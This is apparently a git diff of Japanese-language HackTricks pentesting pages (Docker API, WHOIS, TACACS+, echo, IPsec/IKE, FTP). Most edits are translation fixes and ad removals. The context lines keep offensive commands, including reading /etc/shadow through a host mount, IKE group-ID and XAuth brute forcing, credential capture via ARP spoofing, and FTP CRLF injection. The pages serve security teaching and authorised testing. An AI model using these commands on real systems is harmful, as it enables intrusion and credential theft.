- -[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**に基づいた検索エンジンで、企業やその顧客が**stealer malwares**によって**侵害**されているかどうかを確認するための**無料**機能を提供します。 - -WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 - -彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/network-services-pentesting/2375-pentesting-docker.md b/network-services-pentesting/2375-pentesting-docker.md index 05c7f9ca3..fd1eeb1fb 100644 --- a/network-services-pentesting/2375-pentesting-docker.md +++ b/network-services-pentesting/2375-pentesting-docker.md @@ -15,35 +15,22 @@ Learn & practice GCP Hacking: {% endhint %} -### [WhiteIntel](https://whiteintel.io) -
+### Dockerの基本 -[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されているかどうかを確認するための**無料**機能を提供しています。 +#### とは -WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。 +Dockerは**コンテナ化業界**の**最前線プラットフォーム**であり、**継続的な革新**を先導しています。これは、**従来型から未来型**にわたるアプリケーションの作成と配布を容易にし、さまざまな環境での**安全なデプロイメント**を保証します。 -彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます: +#### 基本的なDockerアーキテクチャ -{% embed url="https://whiteintel.io" %} - -*** - -### Docker Basics - -#### What is - -Dockerは、**コンテナ化業界**の**最前線プラットフォーム**であり、**継続的な革新**を先導しています。これは、**従来型から未来的な**アプリケーションの作成と配布を容易にし、さまざまな環境での**安全なデプロイメント**を保証します。 - -#### Basic docker architecture - -* [**containerd**](http://containerd.io): これは、コンテナのライフサイクルを包括的に**管理**するための**コアランタイム**です。これには、**イメージの転送とストレージ**の管理に加え、コンテナの**実行、監視、ネットワーキング**を監督することが含まれます。containerdに関する**詳細な情報**は**さらに探求**されています。 +* [**containerd**](http://containerd.io): これはコンテナの**コアランタイム**であり、コンテナのライフサイクルの包括的な**管理**を担当します。これには、**イメージの転送とストレージ**の管理に加え、コンテナの**実行、監視、ネットワーキング**の監督が含まれます。containerdに関する**詳細な洞察**は**さらに探求されます**。 * **container-shim**は、**ヘッドレスコンテナ**の処理において重要な役割を果たし、コンテナが初期化された後に**runc**からシームレスに引き継ぎます。 * [**runc**](http://runc.io): **軽量で汎用的なコンテナランタイム**機能で評価されているruncは、**OCI標準**に準拠しています。これは、containerdが**OCIガイドライン**に従ってコンテナを**起動および管理**するために使用され、元の**libcontainer**から進化しました。 -* [**grpc**](http://www.grpc.io)は、containerdと**docker-engine**間の**通信を促進**するために不可欠であり、**効率的な相互作用**を保証します。 -* [**OCI**](https://www.opencontainers.org)は、ランタイムとイメージのための**OCI仕様**を維持する上で重要であり、最新のDockerバージョンは**OCIイメージおよびランタイム**標準の両方に**準拠**しています。 +* [**grpc**](http://www.grpc.io)は、containerdと**docker-engine**間の**通信を促進**するために不可欠であり、**効率的な相互作用**を確保します。 +* [**OCI**](https://www.opencontainers.org)は、ランタイムとイメージのための**OCI仕様**を維持する上で重要であり、最新のDockerバージョンは**OCIイメージおよびランタイム**標準の両方に**準拠しています**。 -#### Basic commands +#### 基本コマンド ```bash docker version #Get version of docker client, API, engine, containerd, runc, docker-init docker info #Get more infomarion about docker settings @@ -68,9 +55,9 @@ docker system prune -a ``` #### Containerd -**Containerd**は、**DockerやKubernetes**などのコンテナプラットフォームのニーズに応えるために特別に開発されました。これは、Linux、Windows、Solarisなどのさまざまなオペレーティングシステムでの**コンテナの実行を簡素化する**ことを目的としており、オペレーティングシステム固有の機能やシステムコールを抽象化します。Containerdの目標は、ユーザーに必要な基本的な機能のみを含め、不要なコンポーネントを省くことを目指しています。しかし、この目標を完全に達成することは困難であると認識されています。 +**Containerd**は、**DockerやKubernetes**などのコンテナプラットフォームのニーズに応えるために特別に開発されました。これは、Linux、Windows、Solarisなどのさまざまなオペレーティングシステムでの**コンテナの実行を簡素化する**ことを目的としており、オペレーティングシステム固有の機能やシステムコールを抽象化しています。Containerdの目標は、ユーザーに必要な基本的な機能のみを含め、不要なコンポーネントを省くことを目指しています。しかし、この目標を完全に達成することは困難であると認識されています。 -重要な設計上の決定は、**Containerdがネットワーキングを扱わない**ことです。ネットワーキングは分散システムにおいて重要な要素と見なされており、ソフトウェア定義ネットワーキング(SDN)やサービスディスカバリなどの複雑さは、プラットフォームによって大きく異なります。したがって、Containerdはサポートするプラットフォームにネットワーキングの管理を委ねています。 +重要な設計上の決定は、**Containerdがネットワーキングを扱わない**ことです。ネットワーキングは分散システムにおいて重要な要素と見なされており、ソフトウェア定義ネットワーキング(SDN)やサービスディスカバリーなどの複雑さは、プラットフォームによって大きく異なります。したがって、Containerdはサポートするプラットフォームにネットワーキングの管理を委ねています。 **DockerがContainerdを利用して**コンテナを実行する一方で、ContainerdはDockerの機能のサブセットのみをサポートしていることに注意が必要です。具体的には、ContainerdはDockerに存在するネットワーク管理機能を欠いており、Dockerスウォームの作成を直接サポートしていません。この違いは、Containerdがコンテナランタイム環境としての焦点を絞った役割を持ち、統合するプラットフォームにより専門的な機能を委任していることを強調しています。 ```bash @@ -161,7 +148,7 @@ docker-init: Version: 0.18.0 GitCommit: fec3683 ``` -リモートのdocker APIに`docker`コマンドで**接続**できる場合、サービスに興味を持つために**実行**できる**docker**の[**コマンド**](2375-pentesting-docker.md#basic-commands)があります。 +リモートのdocker APIに`docker`コマンドで**接続**できる場合、サービスに興味を持つために、以前にコメントされた**docker** [**コマンド**](2375-pentesting-docker.md#basic-commands)のいずれかを**実行**できます。 {% hint style="info" %} `export DOCKER_HOST="tcp://localhost:2375"`を使用して、dockerコマンドで`-H`パラメータを**回避**できます @@ -203,7 +190,7 @@ curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-ope #Delete stopped containers curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune ``` -この件についての詳細情報が必要な場合、コマンドをコピーした場所にさらに情報があります: [https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/) +もしこれについてもっと情報が必要な場合、コマンドをコピーした場所にさらに情報があります: [https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/) #### 自動 ```bash @@ -212,7 +199,7 @@ nmap -sV --script "docker-*" -p ``` ### Compromising -次のページでは、**Dockerコンテナからの脱出方法**を見つけることができます: +以下のページでは、**Dockerコンテナからの脱出方法**を見つけることができます: {% content-ref url="../linux-hardening/privilege-escalation/docker-security/" %} [docker-security](../linux-hardening/privilege-escalation/docker-security/) @@ -227,7 +214,7 @@ cat /mnt/etc/shadow ### 特権昇格 -dockerを使用しているホスト内にいる場合は、[**特権を昇格させるためにこの情報を読むことができます**](../linux-hardening/privilege-escalation/#writable-docker-socket)。 +dockerを使用しているホスト内にいる場合、[**特権を昇格させるためにこの情報を読むことができます**](../linux-hardening/privilege-escalation/#writable-docker-socket)。 ### 実行中のDockerコンテナ内の秘密を発見する ```bash @@ -254,7 +241,7 @@ docker cp :/etc/ * `./docker-bench-security.sh` * 現在のdockerインストールを検査するために、ツール[https://github.com/kost/dockscan](https://github.com/kost/dockscan)を使用できます。 * `dockscan -v unix:///var/run/docker.sock` -* 異なるセキュリティオプションで実行されるコンテナが持つ権限を確認するために、ツール[https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained)を使用できます。これは、コンテナを実行するためにいくつかのセキュリティオプションを使用することの影響を知るのに役立ちます: +* 異なるセキュリティオプションで実行されるコンテナの権限を確認するために、ツール[https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained)を使用できます。これは、コンテナを実行するためにいくつかのセキュリティオプションを使用することの影響を知るのに役立ちます: * `docker run --rm -it r.j3ss.co/amicontained` * `docker run --rm -it --pid host r.j3ss.co/amicontained` * `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained` @@ -267,7 +254,7 @@ docker cp :/etc/ #### Dockerfileのセキュリティ -* あらゆる種類の誤設定を見つけるために、ツール[https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter)を使用して**Dockerfileを検査**できます。各誤設定にはIDが付与され、[https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md)でそれぞれの修正方法を見つけることができます。 +* あらゆる種類の誤設定を見つけるために、ツール[https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter)を使用して**Dockerfileを検査**できます。各誤設定にはIDが付与され、ここ[https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md)でそれぞれの修正方法を見つけることができます。 * `dockerfilelinter -f Dockerfile` ![](<../.gitbook/assets/image (176).png>) @@ -290,7 +277,7 @@ docker cp :/etc/ #### 疑わしい活動のログ記録 * 実行中のコンテナでの**疑わしい動作を検出**するために、ツール[https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco)を使用できます。 -* 次のチャンクでは、**Falcoがカーネルモジュールをコンパイルして挿入する**方法に注意してください。その後、ルールを読み込み、**疑わしい活動のログを開始**します。この場合、特権コンテナが2つ開始され、そのうちの1つは敏感なマウントを持ち、数秒後に1つのコンテナ内でシェルが開かれたことを検出しました。 +* 次のチャンクでは、**Falcoがカーネルモジュールをコンパイルして挿入する**方法に注意してください。その後、ルールを読み込み、**疑わしい活動のログを記録し始めます**。この場合、特権コンテナが2つ開始され、そのうちの1つは敏感なマウントを持ち、数秒後に1つのコンテナ内でシェルが開かれたことを検出しました。 ```bash docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco * Setting up /usr/src links from host @@ -333,24 +320,13 @@ falco-probe found and loaded in dkms ``` #### Dockerの監視 -auditdを使用してdockerを監視できます。 +auditdを使用してDockerを監視できます。 ### 参考文献 * [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html) * [https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc) -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**stealer malwares**によって**侵害**されているかどうかを確認するための**無料**機能を提供しています。 - -WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 - -彼らのウェブサイトをチェックして、**無料**でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ @@ -361,8 +337,8 @@ GCPハッキングを学び、実践する: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## 基本情報 **WHOIS**プロトコルは、特定のデータベースを通じて**さまざまなインターネットリソースの登録者や保有者について問い合わせるための標準的な方法**として機能します。これらのリソースには、ドメイン名、IPアドレスのブロック、自律システムなどが含まれます。これらに加えて、プロトコルはより広範な情報にアクセスするためにも利用されます。 @@ -39,7 +31,7 @@ whoisサービスがドメインについて持っているすべての情報を whois -h -p "domain.tld" echo "domain.ltd" | nc -vn ``` -注意してください。WHOISサービスに情報をリクエストする際、使用されているデータベースがレスポンスに表示されることがあります。 +注意として、WHOISサービスに情報をリクエストする際、使用されているデータベースがレスポンスに表示されることがあります: ![](<../.gitbook/assets/image (301).png>) @@ -49,12 +41,6 @@ echo "domain.ltd" | nc -vn * `port:43 whois` -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - ## HackTricks 自動コマンド ``` Protocol_Name: WHOIS #Protocol Abbreviation if there is one. diff --git a/network-services-pentesting/49-pentesting-tacacs+.md b/network-services-pentesting/49-pentesting-tacacs+.md index b5401628e..c5c432715 100644 --- a/network-services-pentesting/49-pentesting-tacacs+.md +++ b/network-services-pentesting/49-pentesting-tacacs+.md @@ -15,14 +15,6 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## 基本情報 **ターミナルアクセスコントローラーアクセス制御システム (TACACS)** プロトコルは、ルーターやネットワークアクセスサーバー (NAS) にアクセスしようとするユーザーを中央で検証するために使用されます。そのアップグレード版である **TACACS+** は、サービスを認証、承認、および会計 (AAA) に分離します。 @@ -34,7 +26,7 @@ PORT STATE SERVICE ## 認証キーの傍受 -クライアントとTACACSサーバーの通信が攻撃者によって傍受されると、**暗号化された認証キーが傍受される可能性があります**。攻撃者は、**ログに検出されることなくキーに対してローカルブルートフォース攻撃を試みることができます**。キーのブルートフォース攻撃に成功すると、攻撃者はネットワーク機器にアクセスでき、Wiresharkのようなツールを使用してトラフィックを復号化できます。 +クライアントとTACACSサーバーの通信が攻撃者によって傍受されると、**暗号化された認証キーが傍受される可能性があります**。攻撃者は、**ログに検出されることなくキーに対してローカルブルートフォース攻撃を試みることができます**。キーのブルートフォース攻撃に成功すれば、攻撃者はネットワーク機器にアクセスし、Wiresharkのようなツールを使用してトラフィックを復号化できます。 ### MitM攻撃の実行 @@ -46,22 +38,17 @@ PORT STATE SERVICE ``` sudo loki_gtk.py ``` -If the key is successfully **bruteforced** (**usually in MD5 encrypted format)**, **we can access the equipment and decrypt the TACACS-encrypted traffic.** +If the key is successfully **bruteforced** (**通常はMD5暗号化形式で**)、**機器にアクセスし、TACACS暗号化トラフィックを復号化できます。** ### トラフィックの復号化 -Once the key is successfully cracked, the next step is to **decrypt the TACACS-encrypted traffic**. Wireshark can handle encrypted TACACS traffic if the key is provided. By analyzing the decrypted traffic, information such as the **banner used and the username of the admin** user can be obtained. +キーが成功裏に解読されると、次のステップは**TACACS暗号化トラフィックを復号化すること**です。Wiresharkは、キーが提供されれば暗号化されたTACACSトラフィックを処理できます。復号化されたトラフィックを分析することで、**使用されるバナーや管理者ユーザーのユーザー名**などの情報を取得できます。 -By gaining access to the control panel of network equipment using the obtained credentials, the attacker can exert control over the network. It's important to note that these actions are strictly for educational purposes and should not be used without proper authorization. +取得した資格情報を使用してネットワーク機器のコントロールパネルにアクセスすることで、攻撃者はネットワークを制御することができます。これらの行動は教育目的のために厳密に行われるべきであり、適切な承認なしに使用されるべきではないことに注意が必要です。 ## 参考文献 * [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/network-services-pentesting/7-tcp-udp-pentesting-echo.md b/network-services-pentesting/7-tcp-udp-pentesting-echo.md index d79171f67..d3792db3e 100644 --- a/network-services-pentesting/7-tcp-udp-pentesting-echo.md +++ b/network-services-pentesting/7-tcp-udp-pentesting-echo.md @@ -13,18 +13,10 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - # 基本情報 -このホスト上でエコーサービスが実行されています。エコーサービスはテストおよび測定目的で設計されており、TCPおよびUDPプロトコルの両方でリッスンする可能性があります。サーバーは受信したデータを変更せずにそのまま返します。\ +このホスト上でエコーサービスが実行されています。エコーサービスはテストおよび測定目的で意図されており、TCPおよびUDPプロトコルの両方でリッスンする可能性があります。サーバーは受信したデータを変更せずにそのまま返します。\ **同じまたは別のマシンのエコーサービスに接続することでサービス拒否を引き起こすことが可能です**。生成されるパケットの数が過剰に高いため、影響を受けたマシンは実質的にサービスから外される可能性があります。\ 情報元: [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/) @@ -34,7 +26,7 @@ PORT STATE SERVICE 7/udp open echo 7/tcp open echo ``` -## Echoサービスに連絡する(UDP) +## Echoサービスに接続する(UDP) ```bash nc -uvn 7 Hello echo #This is wat you send @@ -51,12 +43,6 @@ Hello echo #This is the response [CA-1996-01 UDPポートサービス拒否攻撃](http://www.cert.org/advisories/CA-1996-01.html) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCPハッキングを学び、実践する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) @@ -67,7 +53,7 @@ GCPハッキングを学び、実践する: {% endhint %} {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## 基本情報 **IPsec**は、ネットワーク間(LAN-to-LAN)およびリモートユーザーからネットワークゲートウェイ(リモートアクセス)への通信を保護するための主要な技術として広く認識されており、企業VPNソリューションのバックボーンとして機能します。 @@ -32,11 +24,11 @@ GCPハッキングを学び、実践する:) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt ``` -もしブルートフォースが機能しなかった場合、サーバーが有効なトランスフォームに対してもハンドシェイクなしで応答している可能性があります。その場合、攻撃的モードを使用して同じブルートフォースを試すことができます: +もしブルートフォースが機能しなかった場合、サーバーが有効なトランスフォームに対してもハンドシェイクなしで応答している可能性があります。その場合、攻撃的モードを使用して同じブルートフォースを試すことができます: ```bash while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line ) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt ``` 希望としては、**有効な変換が返される**ことです。\ [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py)を使用して**同じ攻撃**を試すことができます。\ -[**ikeforce**](https://github.com/SpiderLabs/ikeforce)を使って変換をブルートフォースすることも試すことができます: +[**ikeforce**](https://github.com/SpiderLabs/ikeforce)を使用して変換をブルートフォースすることも試すことができます: ```bash ./ikeforce.py # No parameters are required for scan -h for additional help ``` @@ -95,7 +87,7 @@ while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive **DHグループ: 14 = 2048ビットMODP**および**15 = 3072ビット**\ **2 = HMAC-SHA = SHA1(この場合)。`--trans`形式は$Enc,$Hash,$Auth,$DHです。** -Ciscoは、DHグループ1および2は強度が不十分であるため使用を避けるように指摘しています。専門家は、**資源の豊富な国々がこれらの弱いグループを使用するデータの暗号を簡単に破ることができる**と考えています。これは、コードを迅速に解読するための特別な方法を使用して行われます。この方法を設定するには多くの費用がかかりますが、これによりこれらの強力な国々は、強度の低いグループ(例えば1,024ビット以下)を使用している場合、暗号化されたデータをリアルタイムで読むことができます。 +Ciscoは、DHグループ1および2は強度が不十分であるため使用を避けるように指示しています。専門家は、**リソースが豊富な国々はこれらの弱いグループを使用するデータの暗号を簡単に破ることができる**と考えています。これは、コードを迅速に解読するための特別な方法を使用して行われます。この方法を設定するのには多くの費用がかかりますが、強度の低いグループ(例えば、1,024ビット以下)を使用している場合、これらの強力な国々は暗号化されたデータをリアルタイムで読むことができます。 ### サーバーフィンガープリンティング @@ -164,13 +156,13 @@ Or use this dict (is a combination of the other 2 dicts without repetitions): デフォルトでは、**ikeforce**は最初にサーバーの動作を確認し、使用する戦術を決定するためにいくつかのランダムなIDを送信します。 -* **最初の方法**は、Ciscoシステムの**Dead Peer Detection DPD**に関する情報を**検索**することによってグループ名をブルートフォースすることです(この情報は、グループ名が正しい場合にのみサーバーによって再生されます)。 -* 利用可能な**第二の方法**は、**各試行に送信された応答の数をチェックする**ことです。正しいIDが使用されると、より多くのパケットが送信されることがあります。 +* **最初の方法**は、**CiscoシステムのDead Peer Detection DPD**に関する情報を**検索することによってグループ名をブルートフォースする**ことです(この情報は、グループ名が正しい場合にのみサーバーによって再生されます)。 +* **利用可能な第二の方法**は、**各試行に送信された応答の数をチェックする**ことです。正しいIDが使用されると、より多くのパケットが送信されることがあります。 * **第三の方法**は、**不正なIDに対する応答で「INVALID-ID-INFORMATION」を検索する**ことです。 * 最後に、サーバーがチェックに対して何も再生しない場合、**ikeforce**はサーバーをブルートフォースし、正しいIDが送信されたときにサーバーがパケットで応答するかどうかを確認します。\ 明らかに、IDをブルートフォースする目的は、有効なIDを持っているときに**PSK**を取得することです。その後、**ID**と**PSK**を使用してXAUTHをブルートフォースする必要があります(有効な場合)。 -特定の変換を発見した場合は、それをikeforceコマンドに追加してください。また、複数の変換を発見した場合は、それらすべてを試すために新しいループを追加してください(すべてを試して、どれかが適切に動作するまで続けるべきです)。 +特定の変換を発見した場合は、それをikeforceコマンドに追加してください。また、複数の変換を発見した場合は、それらすべてを試すために新しいループを追加してください(すべてを試して、どれかが正常に動作するまで続けるべきです)。 ```bash git clone https://github.com/SpiderLabs/ikeforce.git pip install 'pyopenssl==17.2.0' #It is old and need this version of the library @@ -201,11 +193,11 @@ psk-crack -d psk.txt **攻撃的モード IKE** は **事前共有鍵 (PSK)** と組み合わせて **グループ認証** の目的で一般的に使用されます。この方法は **XAuth (拡張認証)** によって強化され、追加の **ユーザー認証** 層を導入します。このような認証は通常、**Microsoft Active Directory**、**RADIUS**、または同様のシステムを利用します。 -**IKEv2** に移行すると、**XAuth** の代わりに **EAP (拡張認証プロトコル)** がユーザー認証の目的で使用されるという顕著な変化が見られます。この変更は、安全な通信プロトコル内での認証慣行の進化を強調しています。 +**IKEv2** に移行すると、**XAuth** の代わりに **EAP (拡張認証プロトコル)** がユーザー認証の目的で利用される顕著な変化が見られます。この変更は、安全な通信プロトコル内での認証慣行の進化を強調しています。 ### ローカルネットワーク MitM による資格情報のキャプチャ -ログインのデータを _fiked_ を使用してキャプチャし、デフォルトのユーザー名があるかどうかを確認できます(IKEトラフィックを `fiked` にリダイレクトしてスニッフィングを行う必要があります。これはARPスプーフィングの助けを借りて行うことができます、[詳細情報](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/))。Fiked は VPN エンドポイントとして機能し、XAuth 資格情報をキャプチャします: +したがって、_fiked_ を使用してログインのデータをキャプチャし、デフォルトのユーザー名があるかどうかを確認できます(IKEトラフィックを `fiked` にリダイレクトしてスニッフィングを行う必要があります。これはARPスプーフィングの助けを借りて行うことができます、[詳細情報](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/))。Fiked は VPN エンドポイントとして機能し、XAuth 資格情報をキャプチャします: ```bash fiked -g -k testgroup:secretkey -l output.txt -d ``` @@ -213,13 +205,13 @@ fiked -g -k testgroup:secretkey -l output.txt -d ### ikeforceを使用したXAUTHユーザー名とパスワードのブルートフォース -**XAUTH**(有効なグループ名**id**と**psk**がわかっている場合)をブルートフォースするには、ユーザー名またはユーザー名のリストとパスワードのリストを使用できます: +**XAUTH**をブルートフォースするには(有効なグループ名**id**と**psk**がわかっている場合)、ユーザー名またはユーザー名のリストとパスワードのリストを使用できます: ```bash ./ikeforce.py -b -i -u -k -w [-s 1] ``` この方法で、ikeforceは各ユーザー名:パスワードの組み合わせを使用して接続を試みます。 -有効な変換が1つ以上見つかった場合は、前のステップと同様にそれらを使用してください。 +有効な変換が1つまたは複数見つかった場合は、前のステップと同様にそれらを使用してください。 ## IPSEC VPNによる認証 @@ -239,17 +231,17 @@ root@system:~# vpnc samplevpn VPNC started in background (pid: [PID])... root@system:~# ifconfig tun0 ``` -In this setup: +このセットアップでは: -* `[VPN_GATEWAY_IP]`をVPNゲートウェイの実際のIPアドレスに置き換えます。 -* `[VPN_CONNECTION_ID]`をVPN接続の識別子に置き換えます。 -* `[VPN_GROUP_SECRET]`をVPNのグループシークレットに置き換えます。 -* `[VPN_USERNAME]`と`[VPN_PASSWORD]`をVPN認証情報に置き換えます。 -* `[PID]`は、`vpnc`が開始されるときに割り当てられるプロセスIDを示します。 +* `[VPN_GATEWAY_IP]` をVPNゲートウェイの実際のIPアドレスに置き換えます。 +* `[VPN_CONNECTION_ID]` をVPN接続の識別子に置き換えます。 +* `[VPN_GROUP_SECRET]` をVPNのグループシークレットに置き換えます。 +* `[VPN_USERNAME]` と `[VPN_PASSWORD]` をVPN認証情報に置き換えます。 +* `[PID]` は `vpnc` が開始されるときに割り当てられるプロセスIDを示します。 VPNを構成する際には、プレースホルダーを置き換えるために実際の安全な値を使用してください。 -## Reference Material +## 参考資料 * [PSK cracking paper](http://www.ernw.de/download/pskattack.pdf) * [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821) @@ -260,22 +252,17 @@ VPNを構成する際には、プレースホルダーを置き換えるため * `port:500 IKE` -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWSハッキングを学び、練習する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCPハッキングを学び、練習する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Support HackTricks +HackTricksをサポートする -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
{% endhint %} diff --git a/network-services-pentesting/pentesting-ftp/README.md b/network-services-pentesting/pentesting-ftp/README.md index d6f948acb..51a166e1b 100644 --- a/network-services-pentesting/pentesting-ftp/README.md +++ b/network-services-pentesting/pentesting-ftp/README.md @@ -15,18 +15,10 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## 基本情報 **ファイル転送プロトコル (FTP)** は、サーバーとクライアント間でコンピュータネットワークを介してファイルを転送するための標準プロトコルです。\ -これは**プレーンテキスト**プロトコルで、**新しい行文字 `0x0d 0x0a`** を使用するため、時には**`telnet`**または**`nc -C`**を使用して**接続する必要があります**。 +これは**プレーンテキスト**プロトコルで、**改行文字 `0x0d 0x0a`** を使用するため、時には**`telnet`**または**`nc -C`**を使用して**接続する必要があります**。 **デフォルトポート:** 21 ``` @@ -136,7 +128,7 @@ nmap --script ftp-* -p 21 ```bash ftp://anonymous:anonymous@10.10.10.98 ``` -注意すべきは、**ウェブアプリケーション**がユーザーによって制御されるデータを**直接FTPサーバー**に送信している場合、二重URLエンコードされた`%0d%0a`(二重URLエンコードでは`%250d%250a`)バイトを送信することで、**FTPサーバーが任意のアクションを実行**することができるということです。この任意のアクションの一つは、ユーザーが制御するサーバーからコンテンツをダウンロードしたり、ポートスキャンを実行したり、他のプレーンテキストベースのサービス(例えばhttp)と通信を試みたりすることです。 +注意すべきは、**ウェブアプリケーション**がユーザーによって制御されるデータを**直接FTPサーバー**に送信している場合、ダブルURLエンコードされた`%0d%0a`(ダブルURLエンコードでは`%250d%250a`)バイトを送信することで、**FTPサーバーが任意のアクションを実行**することができるということです。この任意のアクションの一つは、ユーザーが制御するサーバーからコンテンツをダウンロードしたり、ポートスキャンを実行したり、他のプレーンテキストベースのサービス(例えばhttp)と通信を試みたりすることです。 ## FTPからすべてのファイルをダウンロードする ```bash @@ -151,16 +143,16 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ * **`USER username`** * **`PASS password`** -* **`HELP`** サーバーがサポートしているコマンドを示します -* \*\*`PORT 127,0,0,1,0,80`\*\*これは、FTPサーバーにIP 127.0.0.1のポート80で接続を確立するよう指示します(_5番目の文字を「0」にし、6番目を10進数でポートにする必要があります。または、5番目と6番目を使ってポートを16進数で表現します_)。 -* \*\*`EPRT |2|127.0.0.1|80|`\*\*これは、FTPサーバーにIP 127.0.0.1のポート80でTCP接続を確立するよう指示します(_「2」によって示されます_)。このコマンドは**IPv6をサポートしています**。 +* **`HELP`** サーバーはサポートされているコマンドを示します +* \*\*`PORT 127,0,0,1,0,80`\*\*これはFTPサーバーにIP 127.0.0.1のポート80で接続を確立するよう指示します(_5番目の文字を「0」にし、6番目を10進数でポートとして指定するか、5番目と6番目を使ってポートを16進数で表現する必要があります_)。 +* \*\*`EPRT |2|127.0.0.1|80|`\*\*これはFTPサーバーにIP 